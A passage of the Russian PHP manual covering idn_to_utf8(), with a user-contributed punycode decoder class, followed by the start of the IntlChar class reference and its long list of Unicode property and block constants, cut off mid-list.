Версия | Описание
7.4.0 | Теперь значение по умолчанию variant изменено на INTL_IDNA_VARIANT_UTS46 вместо устаревшей константы INTL_IDNA_VARIANT_2003.
7.2.0 | INTL_IDNA_VARIANT_2003 объявлена устаревшей, вместо неё используйте INTL_IDNA_VARIANT_UTS46.

Примеры

Пример #1 Пример использования idn_to_utf8()

<?php

echo idn_to_utf8('xn--tst-qla.de');

?>

Результат выполнения данного примера:

tast.de

Смотрите также

  • idn_to_ascii() - Преобразовать доменное имя в формат IDNA ASCII

User Contributed Notes

kushik.com 02-May-2013 01:36
<?php
// for those who has PHP older than version 5.3
class IDN {
    // adapt bias for punycode algorithm
    private static function punyAdapt(
        $delta,
        $numpoints,
        $firsttime
    ) {
        $delta = $firsttime ? $delta / 700 : $delta / 2;
        $delta += $delta / $numpoints;
        for ($k = 0; $delta > 455; $k += 36)
            $delta = intval($delta / 35);
        return $k + (36 * $delta) / ($delta + 38);
    }

    // translate character to punycode number
    private static function decodeDigit($cp) {
        $cp = strtolower($cp);
        if ($cp >= 'a' && $cp <= 'z')
            return ord($cp) - ord('a');
        elseif ($cp >= '0' && $cp <= '9')
            return ord($cp) - ord('0')+26;
    }

    // make utf8 string from unicode codepoint number
    private static function utf8($cp) {
        if ($cp < 128) return chr($cp);
        if ($cp < 2048)
            return chr(192+($cp >> 6)).chr(128+($cp & 63));
        if ($cp < 65536) return
            chr(224+($cp >> 12)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        if ($cp < 2097152) return
            chr(240+($cp >> 18)).
            chr(128+(($cp >> 12) & 63)).
            chr(128+(($cp >> 6) & 63)).
            chr(128+($cp & 63));
        // it should never get here
    }

    // main decoding function
    private static function decodePart($input) {
        if (substr($input,0,4) != "xn--") // prefix check...
            return $input;
        $input = substr($input,4); // discard prefix
        $a = explode("-",$input);
        if (count($a) > 1) {
            $input = str_split(array_pop($a));
            $output = str_split(implode("-",$a));
        } else {
            $output = array();
            $input = str_split($input);
        }
        $n = 128; $i = 0; $bias = 72; // init punycode vars
        while (!empty($input)) {
            $oldi = $i;
            $w = 1;
            for ($k = 36;;$k += 36) {
                $digit = IDN::decodeDigit(array_shift($input));
                $i += $digit * $w;
                if ($k <= $bias) $t = 1;
                elseif ($k >= $bias + 26) $t = 26;
                else $t = $k - $bias;
                if ($digit < $t) break;
                $w *= intval(36 - $t);
            }
            $bias = IDN::punyAdapt(
                $i-$oldi,
                count($output)+1,
                $oldi == 0
            );
            $n += intval($i / (count($output) + 1));
            $i %= count($output) + 1;
            array_splice($output,$i,0,array(IDN::utf8($n)));
            $i++;
        }
        return implode("",$output);
    }

    public static function decodeIDN($name) {
        // split it, parse it and put it back together
        return
            implode(
                ".",
                array_map("IDN::decodePart",explode(".",$name))
            );
    }

}
echo IDN::decodeIDN($_SERVER['HTTP_HOST']);
?>


IntlChar

(PHP 7, PHP 8)

Введение

IntlChar предоставляет доступ к некоторому числу утилитарных методов, которые можно использовать для доступа к информации о символах Unicode.

Имена методов и констант, представленные здесь, близки к именам и методам нижележащей библиотеки ICU.

Обзор классов

class IntlChar {
/* Константы */
public const string UNICODE_VERSION;
public const int CODEPOINT_MIN;
public const int CODEPOINT_MAX;
public const float NO_NUMERIC_VALUE;
public const int PROPERTY_ALPHABETIC;
public const int PROPERTY_BINARY_START;
public const int PROPERTY_ASCII_HEX_DIGIT;
public const int PROPERTY_BIDI_CONTROL;
public const int PROPERTY_BIDI_MIRRORED;
public const int PROPERTY_DASH;
public const int PROPERTY_DEFAULT_IGNORABLE_CODE_POINT;
public const int PROPERTY_DEPRECATED;
public const int PROPERTY_DIACRITIC;
public const int PROPERTY_EXTENDER;
public const int PROPERTY_FULL_COMPOSITION_EXCLUSION;
public const int PROPERTY_GRAPHEME_BASE;
public const int PROPERTY_GRAPHEME_EXTEND;
public const int PROPERTY_GRAPHEME_LINK;
public const int PROPERTY_HEX_DIGIT;
public const int PROPERTY_HYPHEN;
public const int PROPERTY_ID_CONTINUE;
public const int PROPERTY_ID_START;
public const int PROPERTY_IDEOGRAPHIC;
public const int PROPERTY_IDS_BINARY_OPERATOR;
public const int PROPERTY_IDS_TRINARY_OPERATOR;
public const int PROPERTY_JOIN_CONTROL;
public const int PROPERTY_LOGICAL_ORDER_EXCEPTION;
public const int PROPERTY_LOWERCASE;
public const int PROPERTY_MATH;
public const int PROPERTY_NONCHARACTER_CODE_POINT;
public const int PROPERTY_QUOTATION_MARK;
public const int PROPERTY_RADICAL;
public const int PROPERTY_SOFT_DOTTED;
public const int PROPERTY_TERMINAL_PUNCTUATION;
public const int PROPERTY_UNIFIED_IDEOGRAPH;
public const int PROPERTY_UPPERCASE;
public const int PROPERTY_WHITE_SPACE;
public const int PROPERTY_XID_CONTINUE;
public const int PROPERTY_XID_START;
public const int PROPERTY_CASE_SENSITIVE;
public const int PROPERTY_S_TERM;
public const int PROPERTY_VARIATION_SELECTOR;
public const int PROPERTY_NFD_INERT;
public const int PROPERTY_NFKD_INERT;
public const int PROPERTY_NFC_INERT;
public const int PROPERTY_NFKC_INERT;
public const int PROPERTY_SEGMENT_STARTER;
public const int PROPERTY_PATTERN_SYNTAX;
public const int PROPERTY_PATTERN_WHITE_SPACE;
public const int PROPERTY_POSIX_ALNUM;
public const int PROPERTY_POSIX_BLANK;
public const int PROPERTY_POSIX_GRAPH;
public const int PROPERTY_POSIX_PRINT;
public const int PROPERTY_POSIX_XDIGIT;
public const int PROPERTY_CASED;
public const int PROPERTY_CASE_IGNORABLE;
public const int PROPERTY_CHANGES_WHEN_LOWERCASED;
public const int PROPERTY_CHANGES_WHEN_UPPERCASED;
public const int PROPERTY_CHANGES_WHEN_TITLECASED;
public const int PROPERTY_CHANGES_WHEN_CASEFOLDED;
public const int PROPERTY_CHANGES_WHEN_CASEMAPPED;
public const int PROPERTY_CHANGES_WHEN_NFKC_CASEFOLDED;
public const int PROPERTY_BINARY_LIMIT;
public const int PROPERTY_BIDI_CLASS;
public const int PROPERTY_INT_START;
public const int PROPERTY_BLOCK;
public const int PROPERTY_CANONICAL_COMBINING_CLASS;
public const int PROPERTY_DECOMPOSITION_TYPE;
public const int PROPERTY_EAST_ASIAN_WIDTH;
public const int PROPERTY_GENERAL_CATEGORY;
public const int PROPERTY_JOINING_GROUP;
public const int PROPERTY_JOINING_TYPE;
public const int PROPERTY_LINE_BREAK;
public const int PROPERTY_NUMERIC_TYPE;
public const int PROPERTY_SCRIPT;
public const int PROPERTY_HANGUL_SYLLABLE_TYPE;
public const int PROPERTY_NFD_QUICK_CHECK;
public const int PROPERTY_NFKD_QUICK_CHECK;
public const int PROPERTY_NFC_QUICK_CHECK;
public const int PROPERTY_NFKC_QUICK_CHECK;
public const int PROPERTY_LEAD_CANONICAL_COMBINING_CLASS;
public const int PROPERTY_TRAIL_CANONICAL_COMBINING_CLASS;
public const int PROPERTY_GRAPHEME_CLUSTER_BREAK;
public const int PROPERTY_SENTENCE_BREAK;
public const int PROPERTY_WORD_BREAK;
public const int PROPERTY_BIDI_PAIRED_BRACKET_TYPE;
public const int PROPERTY_INT_LIMIT;
public const int PROPERTY_GENERAL_CATEGORY_MASK;
public const int PROPERTY_MASK_START;
public const int PROPERTY_MASK_LIMIT;
public const int PROPERTY_NUMERIC_VALUE;
public const int PROPERTY_DOUBLE_START;
public const int PROPERTY_DOUBLE_LIMIT;
public const int PROPERTY_AGE;
public const int PROPERTY_STRING_START;
public const int PROPERTY_BIDI_MIRRORING_GLYPH;
public const int PROPERTY_CASE_FOLDING;
public const int PROPERTY_ISO_COMMENT;
public const int PROPERTY_LOWERCASE_MAPPING;
public const int PROPERTY_NAME;
public const int PROPERTY_SIMPLE_CASE_FOLDING;
public const int PROPERTY_SIMPLE_LOWERCASE_MAPPING;
public const int PROPERTY_SIMPLE_TITLECASE_MAPPING;
public const int PROPERTY_SIMPLE_UPPERCASE_MAPPING;
public const int PROPERTY_TITLECASE_MAPPING;
public const int PROPERTY_UNICODE_1_NAME;
public const int PROPERTY_UPPERCASE_MAPPING;
public const int PROPERTY_BIDI_PAIRED_BRACKET;
public const int PROPERTY_STRING_LIMIT;
public const int PROPERTY_SCRIPT_EXTENSIONS;
public const int PROPERTY_OTHER_PROPERTY_START;
public const int PROPERTY_OTHER_PROPERTY_LIMIT;
public const int PROPERTY_INVALID_CODE;
public const int CHAR_CATEGORY_UNASSIGNED;
public const int CHAR_CATEGORY_GENERAL_OTHER_TYPES;
public const int CHAR_CATEGORY_UPPERCASE_LETTER;
public const int CHAR_CATEGORY_LOWERCASE_LETTER;
public const int CHAR_CATEGORY_TITLECASE_LETTER;
public const int CHAR_CATEGORY_MODIFIER_LETTER;
public const int CHAR_CATEGORY_OTHER_LETTER;
public const int CHAR_CATEGORY_NON_SPACING_MARK;
public const int CHAR_CATEGORY_ENCLOSING_MARK;
public const int CHAR_CATEGORY_COMBINING_SPACING_MARK;
public const int CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER;
public const int CHAR_CATEGORY_LETTER_NUMBER;
public const int CHAR_CATEGORY_OTHER_NUMBER;
public const int CHAR_CATEGORY_SPACE_SEPARATOR;
public const int CHAR_CATEGORY_LINE_SEPARATOR;
public const int CHAR_CATEGORY_PARAGRAPH_SEPARATOR;
public const int CHAR_CATEGORY_CONTROL_CHAR;
public const int CHAR_CATEGORY_FORMAT_CHAR;
public const int CHAR_CATEGORY_PRIVATE_USE_CHAR;
public const int CHAR_CATEGORY_SURROGATE;
public const int CHAR_CATEGORY_DASH_PUNCTUATION;
public const int CHAR_CATEGORY_START_PUNCTUATION;
public const int CHAR_CATEGORY_END_PUNCTUATION;
public const int CHAR_CATEGORY_CONNECTOR_PUNCTUATION;
public const int CHAR_CATEGORY_OTHER_PUNCTUATION;
public const int CHAR_CATEGORY_MATH_SYMBOL;
public const int CHAR_CATEGORY_CURRENCY_SYMBOL;
public const int CHAR_CATEGORY_MODIFIER_SYMBOL;
public const int CHAR_CATEGORY_OTHER_SYMBOL;
public const int CHAR_CATEGORY_INITIAL_PUNCTUATION;
public const int CHAR_CATEGORY_FINAL_PUNCTUATION;
public const int CHAR_CATEGORY_CHAR_CATEGORY_COUNT;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT;
public const int CHAR_DIRECTION_EUROPEAN_NUMBER;
public const int CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR;
public const int CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR;
public const int CHAR_DIRECTION_ARABIC_NUMBER;
public const int CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR;
public const int CHAR_DIRECTION_BLOCK_SEPARATOR;
public const int CHAR_DIRECTION_SEGMENT_SEPARATOR;
public const int CHAR_DIRECTION_WHITE_SPACE_NEUTRAL;
public const int CHAR_DIRECTION_OTHER_NEUTRAL;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE;
public const int CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT;
public const int CHAR_DIRECTION_DIR_NON_SPACING_MARK;
public const int CHAR_DIRECTION_BOUNDARY_NEUTRAL;
public const int CHAR_DIRECTION_FIRST_STRONG_ISOLATE;
public const int CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE;
public const int CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE;
public const int CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE;
public const int CHAR_DIRECTION_CHAR_DIRECTION_COUNT;
public const int BLOCK_CODE_NO_BLOCK;
public const int BLOCK_CODE_BASIC_LATIN;
public const int BLOCK_CODE_LATIN_1_SUPPLEMENT;
public const int BLOCK_CODE_LATIN_EXTENDED_A;
public const int BLOCK_CODE_LATIN_EXTENDED_B;
public const int BLOCK_CODE_IPA_EXTENSIONS;
public const int BLOCK_CODE_SPACING_MODIFIER_LETTERS;
public const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS;
public const int BLOCK_CODE_GREEK;
public const int BLOCK_CODE_CYRILLIC;
public const int BLOCK_CODE_ARMENIAN;
public const int BLOCK_CODE_HEBREW;
public const int BLOCK_CODE_ARABIC;
public const int BLOCK_CODE_SYRIAC;
public const int BLOCK_CODE_THAANA;
public const int BLOCK_CODE_DEVANAGARI;
public const int BLOCK_CODE_BENGALI;
public const int BLOCK_CODE_GURMUKHI;
public const int BLOCK_CODE_GUJARATI;
public const int BLOCK_CODE_ORIYA;
public const int BLOCK_CODE_TAMIL;
public const int BLOCK_CODE_TELUGU;
public const int BLOCK_CODE_KANNADA;
public const int BLOCK_CODE_MALAYALAM;
public const int BLOCK_CODE_SINHALA;
public const int BLOCK_CODE_THAI;
public const int BLOCK_CODE_LAO;
public const int BLOCK_CODE_TIBETAN;
public const int BLOCK_CODE_MYANMAR;
public const int BLOCK_CODE_GEORGIAN;
public const int BLOCK_CODE_HANGUL_JAMO;
public const int BLOCK_CODE_ETHIOPIC;
public const int BLOCK_CODE_CHEROKEE;
public const int BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS;
public const int BLOCK_CODE_OGHAM;
public const int BLOCK_CODE_RUNIC;
public const int BLOCK_CODE_KHMER;
public const int BLOCK_CODE_MONGOLIAN;
public const int BLOCK_CODE_LATIN_EXTENDED_ADDITIONAL;
public const int BLOCK_CODE_GREEK_EXTENDED;
public const int BLOCK_CODE_GENERAL_PUNCTUATION;
public const int BLOCK_CODE_SUPERSCRIPTS_AND_SUBSCRIPTS;
public const int BLOCK_CODE_CURRENCY_SYMBOLS;
public const int BLOCK_CODE_COMBINING_MARKS_FOR_SYMBOLS;
public const int BLOCK_CODE_LETTERLIKE_SYMBOLS;
public const int BLOCK_CODE_NUMBER_FORMS;
public const int BLOCK_CODE_ARROWS;
public const int BLOCK_CODE_MATHEMATICAL_OPERATORS;
public const int BLOCK_CODE_MISCELLANEOUS_TECHNICAL;
public const int BLOCK_CODE_CONTROL_PICTURES;
public const int BLOCK_CODE_OPTICAL_CHARACTER_RECOGNITION;
public const int BLOCK_CODE_ENCLOSED_ALPHANUMERICS;
public const int BLOCK_CODE_BOX_DRAWING;
public const int BLOCK_CODE_BLOCK_ELEMENTS;
public const int BLOCK_CODE_GEOMETRIC_SHAPES;
public const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS;
public const int BLOCK_CODE_DINGBATS;
public const int BLOCK_CODE_BRAILLE_PATTERNS;
public const int BLOCK_CODE_CJK_RADICALS_SUPPLEMENT;
public const int BLOCK_CODE_KANGXI_RADICALS;
public const int BLOCK_CODE_IDEOGRAPHIC_DESCRIPTION_CHARACTERS;
public const int BLOCK_CODE_CJK_SYMBOLS_AND_PUNCTUATION;
public const int BLOCK_CODE_HIRAGANA;
public const int BLOCK_CODE_KATAKANA;
public const int BLOCK_CODE_BOPOMOFO;
public const int BLOCK_CODE_HANGUL_COMPATIBILITY_JAMO;
public const int BLOCK_CODE_KANBUN;
public const int BLOCK_CODE_BOPOMOFO_EXTENDED;
public const int BLOCK_CODE_ENCLOSED_CJK_LETTERS_AND_MONTHS;
public const int BLOCK_CODE_CJK_COMPATIBILITY;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS;
public const int BLOCK_CODE_YI_SYLLABLES;
public const int BLOCK_CODE_YI_RADICALS;
public const int BLOCK_CODE_HANGUL_SYLLABLES;
public const int BLOCK_CODE_HIGH_SURROGATES;
public const int BLOCK_CODE_HIGH_PRIVATE_USE_SURROGATES;
public const int BLOCK_CODE_LOW_SURROGATES;
public const int BLOCK_CODE_PRIVATE_USE_AREA;
public const int BLOCK_CODE_PRIVATE_USE;
public const int BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS;
public const int BLOCK_CODE_ALPHABETIC_PRESENTATION_FORMS;
public const int BLOCK_CODE_ARABIC_PRESENTATION_FORMS_A;
public const int BLOCK_CODE_COMBINING_HALF_MARKS;
public const int BLOCK_CODE_CJK_COMPATIBILITY_FORMS;
public const int BLOCK_CODE_SMALL_FORM_VARIANTS;
public const int BLOCK_CODE_ARABIC_PRESENTATION_FORMS_B;
public const int BLOCK_CODE_SPECIALS;
public const int BLOCK_CODE_HALFWIDTH_AND_FULLWIDTH_FORMS;
public const int BLOCK_CODE_OLD_ITALIC;
public const int BLOCK_CODE_GOTHIC;
public const int BLOCK_CODE_DESERET;
public const int BLOCK_CODE_BYZANTINE_MUSICAL_SYMBOLS;
public const int BLOCK_CODE_MUSICAL_SYMBOLS;
public const int BLOCK_CODE_MATHEMATICAL_ALPHANUMERIC_SYMBOLS;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B;
public const int BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT;
public const int BLOCK_CODE_TAGS;
public const int BLOCK_CODE_CYRILLIC_SUPPLEMENT;
public const int BLOCK_CODE_CYRILLIC_SUPPLEMENTARY;
public const int BLOCK_CODE_TAGALOG;
public const int BLOCK_CODE_HANUNOO;
public const int BLOCK_CODE_BUHID;
public const int BLOCK_CODE_TAGBANWA;
public const int BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A;
public const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_A;
public const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_B;
public const int BLOCK_CODE_MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B;
public const int BLOCK_CODE_SUPPLEMENTAL_MATHEMATICAL_OPERATORS;
public const int BLOCK_CODE_KATAKANA_PHONETIC_EXTENSIONS;
public const int BLOCK_CODE_VARIATION_SELECTORS;
public const int BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_A;
public const int BLOCK_CODE_SUPPLEMENTARY_PRIVATE_USE_AREA_B;
public const int BLOCK_CODE_LIMBU;
public const int BLOCK_CODE_TAI_LE;
public const int BLOCK_CODE_KHMER_SYMBOLS;
public const int BLOCK_CODE_PHONETIC_EXTENSIONS;
public const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_ARROWS;
public const int BLOCK_CODE_YIJING_HEXAGRAM_SYMBOLS;
public const int BLOCK_CODE_LINEAR_B_SYLLABARY;
public const int BLOCK_CODE_LINEAR_B_IDEOGRAMS;
public const int BLOCK_CODE_AEGEAN_NUMBERS;
public const int BLOCK_CODE_UGARITIC;
public const int BLOCK_CODE_SHAVIAN;
public const int BLOCK_CODE_OSMANYA;
public const int BLOCK_CODE_CYPRIOT_SYLLABARY;
public const int BLOCK_CODE_TAI_XUAN_JING_SYMBOLS;
public const int BLOCK_CODE_VARIATION_SELECTORS_SUPPLEMENT;
public const int BLOCK_CODE_ANCIENT_GREEK_MUSICAL_NOTATION;
public const int BLOCK_CODE_ANCIENT_GREEK_NUMBERS;
public const int BLOCK_CODE_ARABIC_SUPPLEMENT;
public const int BLOCK_CODE_BUGINESE;
public const int BLOCK_CODE_CJK_STROKES;
public const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_SUPPLEMENT;
public const int BLOCK_CODE_COPTIC;
public const int BLOCK_CODE_ETHIOPIC_EXTENDED;
public const int BLOCK_CODE_ETHIOPIC_SUPPLEMENT;
public const int BLOCK_CODE_GEORGIAN_SUPPLEMENT;
public const int BLOCK_CODE_GLAGOLITIC;
public const int BLOCK_CODE_KHAROSHTHI;
public const int BLOCK_CODE_MODIFIER_TONE_LETTERS;
public const int BLOCK_CODE_NEW_TAI_LUE;
public const int BLOCK_CODE_OLD_PERSIAN;
public const int BLOCK_CODE_PHONETIC_EXTENSIONS_SUPPLEMENT;
public const int BLOCK_CODE_SUPPLEMENTAL_PUNCTUATION;
public const int BLOCK_CODE_SYLOTI_NAGRI;
public const int BLOCK_CODE_TIFINAGH;
public const int BLOCK_CODE_VERTICAL_FORMS;
public const int BLOCK_CODE_NKO;
public const int BLOCK_CODE_BALINESE;
public const int BLOCK_CODE_LATIN_EXTENDED_C;
public const int BLOCK_CODE_LATIN_EXTENDED_D;
public const int BLOCK_CODE_PHAGS_PA;
public const int BLOCK_CODE_PHOENICIAN;
public const int BLOCK_CODE_CUNEIFORM;
public const int BLOCK_CODE_CUNEIFORM_NUMBERS_AND_PUNCTUATION;
public const int BLOCK_CODE_COUNTING_ROD_NUMERALS;
public const int BLOCK_CODE_SUNDANESE;
public const int BLOCK_CODE_LEPCHA;
public const int BLOCK_CODE_OL_CHIKI;
public const int BLOCK_CODE_CYRILLIC_EXTENDED_A;
public const int BLOCK_CODE_VAI;
public const int BLOCK_CODE_CYRILLIC_EXTENDED_B;
public const int BLOCK_CODE_SAURASHTRA;
public const int BLOCK_CODE_KAYAH_LI;
public const int BLOCK_CODE_REJANG;
public const int BLOCK_CODE_CHAM;
public const int BLOCK_CODE_ANCIENT_SYMBOLS;
public const int BLOCK_CODE_PHAISTOS_DISC;
public const int BLOCK_CODE_LYCIAN;
public const int BLOCK_CODE_CARIAN;
public const int BLOCK_CODE_LYDIAN;
public const int BLOCK_CODE_MAHJONG_TILES;
public const int BLOCK_CODE_DOMINO_TILES;
public const int BLOCK_CODE_SAMARITAN;
public const int BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED;
public const int BLOCK_CODE_TAI_THAM;
public const int BLOCK_CODE_VEDIC_EXTENSIONS;
public const int BLOCK_CODE_LISU;
public const int BLOCK_CODE_BAMUM;
public const int BLOCK_CODE_COMMON_INDIC_NUMBER_FORMS;
public const int BLOCK_CODE_DEVANAGARI_EXTENDED;
public const int BLOCK_CODE_HANGUL_JAMO_EXTENDED_A;
public const int BLOCK_CODE_JAVANESE;
public const int BLOCK_CODE_MYANMAR_EXTENDED_A;
public const int BLOCK_CODE_TAI_VIET;
public const int BLOCK_CODE_MEETEI_MAYEK;
public const int BLOCK_CODE_HANGUL_JAMO_EXTENDED_B;
public const int BLOCK_CODE_IMPERIAL_ARAMAIC;
public const int BLOCK_CODE_OLD_SOUTH_ARABIAN;
public const int BLOCK_CODE_AVESTAN;
public const int BLOCK_CODE_INSCRIPTIONAL_PARTHIAN;
public const int BLOCK_CODE_INSCRIPTIONAL_PAHLAVI;
public const int BLOCK_CODE_OLD_TURKIC;
public const int BLOCK_CODE_RUMI_NUMERAL_SYMBOLS;
public const int BLOCK_CODE_KAITHI;
public const int BLOCK_CODE_EGYPTIAN_HIEROGLYPHS;
public const int BLOCK_CODE_ENCLOSED_ALPHANUMERIC_SUPPLEMENT;
public const int BLOCK_CODE_ENCLOSED_IDEOGRAPHIC_SUPPLEMENT;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C;
public const int BLOCK_CODE_MANDAIC;
public const int BLOCK_CODE_BATAK;
public const int BLOCK_CODE_ETHIOPIC_EXTENDED_A;
public const int BLOCK_CODE_BRAHMI;
public const int BLOCK_CODE_BAMUM_SUPPLEMENT;
public const int BLOCK_CODE_KANA_SUPPLEMENT;
public const int BLOCK_CODE_PLAYING_CARDS;
public const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS;
public const int BLOCK_CODE_EMOTICONS;
public const int BLOCK_CODE_TRANSPORT_AND_MAP_SYMBOLS;
public const int BLOCK_CODE_ALCHEMICAL_SYMBOLS;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D;
public const int BLOCK_CODE_ARABIC_EXTENDED_A;
public const int BLOCK_CODE_ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS;
public const int BLOCK_CODE_CHAKMA;
public const int BLOCK_CODE_MEETEI_MAYEK_EXTENSIONS;
public const int BLOCK_CODE_MEROITIC_CURSIVE;
public const int BLOCK_CODE_MEROITIC_HIEROGLYPHS;
public const int BLOCK_CODE_MIAO;
public const int BLOCK_CODE_SHARADA;
public const int BLOCK_CODE_SORA_SOMPENG;
public const int BLOCK_CODE_SUNDANESE_SUPPLEMENT;
public const int BLOCK_CODE_TAKRI;
public const int BLOCK_CODE_BASSA_VAH;
public const int BLOCK_CODE_CAUCASIAN_ALBANIAN;
public const int BLOCK_CODE_COPTIC_EPACT_NUMBERS;
public const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_EXTENDED;
public const int BLOCK_CODE_DUPLOYAN;
public const int BLOCK_CODE_ELBASAN;
public const int BLOCK_CODE_GEOMETRIC_SHAPES_EXTENDED;
public const int BLOCK_CODE_GRANTHA;
public const int BLOCK_CODE_KHOJKI;
public const int BLOCK_CODE_KHUDAWADI;
public const int BLOCK_CODE_LATIN_EXTENDED_E;
public const int BLOCK_CODE_LINEAR_A;
public const int BLOCK_CODE_MAHAJANI;
public const int BLOCK_CODE_MANICHAEAN;
public const int BLOCK_CODE_MENDE_KIKAKUI;
public const int BLOCK_CODE_MODI;
public const int BLOCK_CODE_MRO;
public const int BLOCK_CODE_MYANMAR_EXTENDED_B;
public const int BLOCK_CODE_NABATAEAN;
public const int BLOCK_CODE_OLD_NORTH_ARABIAN;
public const int BLOCK_CODE_OLD_PERMIC;
public const int BLOCK_CODE_ORNAMENTAL_DINGBATS;
public const int BLOCK_CODE_PAHAWH_HMONG;
public const int BLOCK_CODE_PALMYRENE;
public const int BLOCK_CODE_PAU_CIN_HAU;
public const int BLOCK_CODE_PSALTER_PAHLAVI;
public const int BLOCK_CODE_SHORTHAND_FORMAT_CONTROLS;
public const int BLOCK_CODE_SIDDHAM;
public const int BLOCK_CODE_SINHALA_ARCHAIC_NUMBERS;
public const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_C;
public const int BLOCK_CODE_TIRHUTA;
public const int BLOCK_CODE_WARANG_CITI;
public const int BLOCK_CODE_COUNT;
public const int BLOCK_CODE_INVALID_CODE;
public const int BPT_NONE;
public const int BPT_OPEN;
public const int BPT_CLOSE;
public const int BPT_COUNT;
public const int EA_NEUTRAL;
public const int EA_AMBIGUOUS;
public const int EA_HALFWIDTH;
public const int EA_FULLWIDTH;
public const int EA_NARROW;
public const int EA_WIDE;
public const int EA_COUNT;
public const int UNICODE_CHAR_NAME;
public const int UNICODE_10_CHAR_NAME;
public const int EXTENDED_CHAR_NAME;
public const int CHAR_NAME_ALIAS;
public const int CHAR_NAME_CHOICE_COUNT;
public const int SHORT_PROPERTY_NAME;
public const int LONG_PROPERTY_NAME;
public const int PROPERTY_NAME_CHOICE_COUNT;
public const int DT_NONE;
public const int DT_CANONICAL;
public const int DT_COMPAT;
public const int DT_CIRCLE;
public const int DT_FINAL;
public const int DT_FONT;
public const int DT_FRACTION;
public const int DT_INITIAL;
public const int DT_ISOLATED;
public const int DT_MEDIAL;
public const int DT_NARROW;
public const int DT_NOBREAK;
public const int DT_SMALL;
public const int DT_SQUARE;
public const int DT_SUB;
public const int DT_SUPER;
public const int DT_VERTICAL;
public const int DT_WIDE;
public const int DT_COUNT;
public const int JT_NON_JOINING;
public const int JT_JOIN_CAUSING;
public const int JT_DUAL_JOINING;
public const int JT_LEFT_JOINING;
public const int JT_RIGHT_JOINING;
public const int JT_TRANSPARENT;
public const int JT_COUNT;
public const int JG_NO_JOINING_GROUP;
public const int JG_AIN;
public const int JG_ALAPH;
public const int JG_ALEF;
public const int JG_BEH;
public const int JG_BETH;
public const int JG_DAL;
public const int JG_DALATH_RISH;
public const int JG_E;
public const int JG_FEH;
public const int JG_FINAL_SEMKATH;
public const int JG_GAF;
public const int JG_GAMAL;
public const int JG_HAH;
public const int JG_TEH_MARBUTA_GOAL;
public const int JG_HAMZA_ON_HEH_GOAL;
public const int JG_HE;
public const int JG_HEH;
public const int JG_HEH_GOAL;
public const int JG_HETH;
public const int JG_KAF;
public const int JG_KAPH;
public const int JG_KNOTTED_HEH;
public const int JG_LAM;
public const int JG_LAMADH;
public const int JG_MEEM;
public const int JG_MIM;
public const int JG_NOON;
public const int JG_NUN;
public const int JG_PE;
public const int JG_QAF;
public const int JG_QAPH;
public const int JG_REH;
public const int JG_REVERSED_PE;
public const int JG_SAD;
public const int JG_SADHE;
public const int JG_SEEN;
public const int JG_SEMKATH;
public const int JG_SHIN;
public const int JG_SWASH_KAF;
public const int JG_SYRIAC_WAW;
public const int JG_TAH;
public const int JG_TAW;
public const int JG_TEH_MARBUTA;
public const int JG_TETH;
public const int JG_WAW;
public const int JG_YEH;
public const int JG_YEH_BARREE;
public const int JG_YEH_WITH_TAIL;
public const int JG_YUDH;
public const int JG_YUDH_HE;
public const int JG_ZAIN;
public const int JG_FE;
public const int JG_KHAPH;
public const int JG_ZHAIN;
public const int JG_BURUSHASKI_YEH_BARREE;
public const int JG_FARSI_YEH;
public const int JG_NYA;
public const int JG_ROHINGYA_YEH;
public const int JG_MANICHAEAN_ALEPH;
public const int JG_MANICHAEAN_AYIN;
public const int JG_MANICHAEAN_BETH;
public const int JG_MANICHAEAN_DALETH;
public const int JG_MANICHAEAN_DHAMEDH;
public const int JG_MANICHAEAN_FIVE;
public const int JG_MANICHAEAN_GIMEL;
public const int JG_MANICHAEAN_HETH;
public const int JG_MANICHAEAN_HUNDRED;
public const int JG_MANICHAEAN_KAPH;
public const int JG_MANICHAEAN_LAMEDH;
public const int JG_MANICHAEAN_MEM;
public const int JG_MANICHAEAN_NUN;
public const int JG_MANICHAEAN_ONE;
public const int JG_MANICHAEAN_PE;
public const int JG_MANICHAEAN_QOPH;
public const int JG_MANICHAEAN_RESH;
public const int JG_MANICHAEAN_SADHE;
